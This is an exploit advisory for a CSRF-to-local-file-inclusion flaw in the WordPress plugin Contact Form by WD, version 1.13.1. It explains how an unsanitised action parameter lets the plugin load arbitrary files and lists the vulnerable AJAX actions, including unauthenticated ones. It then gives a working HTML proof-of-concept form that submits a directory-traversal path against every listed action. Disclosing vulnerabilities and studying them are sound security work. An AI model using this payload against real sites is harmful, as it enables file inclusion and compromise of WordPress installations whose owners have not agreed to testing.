WordPress plugin Contact Form [CSRF → LFI] vulnerable 2019-03-17

# Exploit Title: Contact Form by WD [CSRF → LFI]
# Date: 2019-03-17
# Exploit Author: Panagiotis Vagenas
# Vendor Homepage: http://web-dorado.com/
# Software Link: https://wordpress.org/plugins/contact-form-maker
# Version: 1.13.1
# Tested on: WordPress 5.1.1

Description
-----------

Plugin implements the following AJAX actions:

- `manage_fm`
- `get_stats`
- `generete_csv`
- `generete_xml`
- `formmakerwdcaptcha`
- `nopriv_formmakerwdcaptcha`
- `formmakerwdmathcaptcha`
- `nopriv_formmakerwdmathcaptcha`
- `product_option`
- `FormMakerEditCountryinPopup`
- `FormMakerMapEditinPopup`
- `FormMakerIpinfoinPopup`
- `show_matrix`
- `FormMakerSubmits`
- `FormMakerSQLMapping`
- `select_data_from_db`
- `manage`

All of them call the function `form_maker_ajax_fmc`. This function
dynamicaly loads a file defined in `$_GET['action']` or
`$_POST['action']` if the former is not defined. Because of the way
WordPress defines the AJAX action a user could define the plugin action
in the `$_GET['action']` and AJAX action in `$_POST['action']`.
Leveraging that and the fact that no sanitization is performed on the
`$_GET['action']`, a malicious actor can perform a CSRF attack to load a
file using directory traversal thus leading to Local File Inclusion
vulnerability.

The following AJAX actions are available only for the paid version of
the plugin:

- `paypal_info`
- `checkpaypal`
- `nopriv_checkpaypal`
- `get_frontend_stats`
- `nopriv_get_frontend_stats`
- `frontend_show_map`
- `nopriv_frontend_show_map`
- `frontend_show_matrix`
- `nopriv_frontend_show_matrix`
- `frontend_paypal_info`
- `nopriv_frontend_paypal_info`
- `frontend_generate_csv`
- `nopriv_frontend_generate_csv`
- `frontend_generate_xml`
- `nopriv_frontend_generate_xml`
- `FMShortocde`
- `wd_bp_dismiss`

In both free and paid versions, there are no-privilege actions that can
be exploited by unauthenticated users in order to include local files.

------
PoC
```html

 <form method="post"
 action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php">
     <label>AJAX action:
         <select name="action">
             <optgroup label="Free version">
                 <option value="FMShortocde_fmc">FMShortocde_fmc</option>
                 <option value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option>
                 <option value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option>
                 <option value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option>
                 <option value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option>
                <option value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option>
                 <option value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option>
                 <option value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option>
                 <option value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option>
                 <option value="generete_csv_fmc">generete_csv_fmc</option>
                 <option value="generete_xml_fmc">generete_xml_fmc</option>
                 <option value="get_stats_fmc">get_stats_fmc</option>
                 <option value="manage_fmc">manage_fmc</option>
                 <option value="manage_fm_fmc">manage_fm_fmc</option>
                 <option value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option>
                 <option value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option>
                 <option value="product_option_fmc">product_option_fmc</option>
                 <option value="select_data_from_db_fmc">select_data_from_db_fmc</option>
                 <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option>
             </optgroup>
             <optgroup label="Pro Version">
                 <option value="paypal_info_fmc">paypal_info_fmc</option>
                 <option value="checkpaypal_fmc">checkpaypal_fmc</option>
                 <option value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option>
                 <option value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option>
                 <option value="get_frontend_stats_fmc">get_frontend_stats_fmc</option>
                 <option value="frontend_show_map_fmc">frontend_show_map_fmc</option>
                 <option value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option>
                 <option value="show_matrix_fmc">show_matrix_fmc</option>
                 <option value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option>
                 <option value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option>
                 <option value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option>
                 <option value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option>
                 <option value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option>
                 <option value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option>
                 <option value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option>
             </optgroup>
         </select>
     </label>
     <button type="submit" value="Submit">Submit</button>
 </form>

```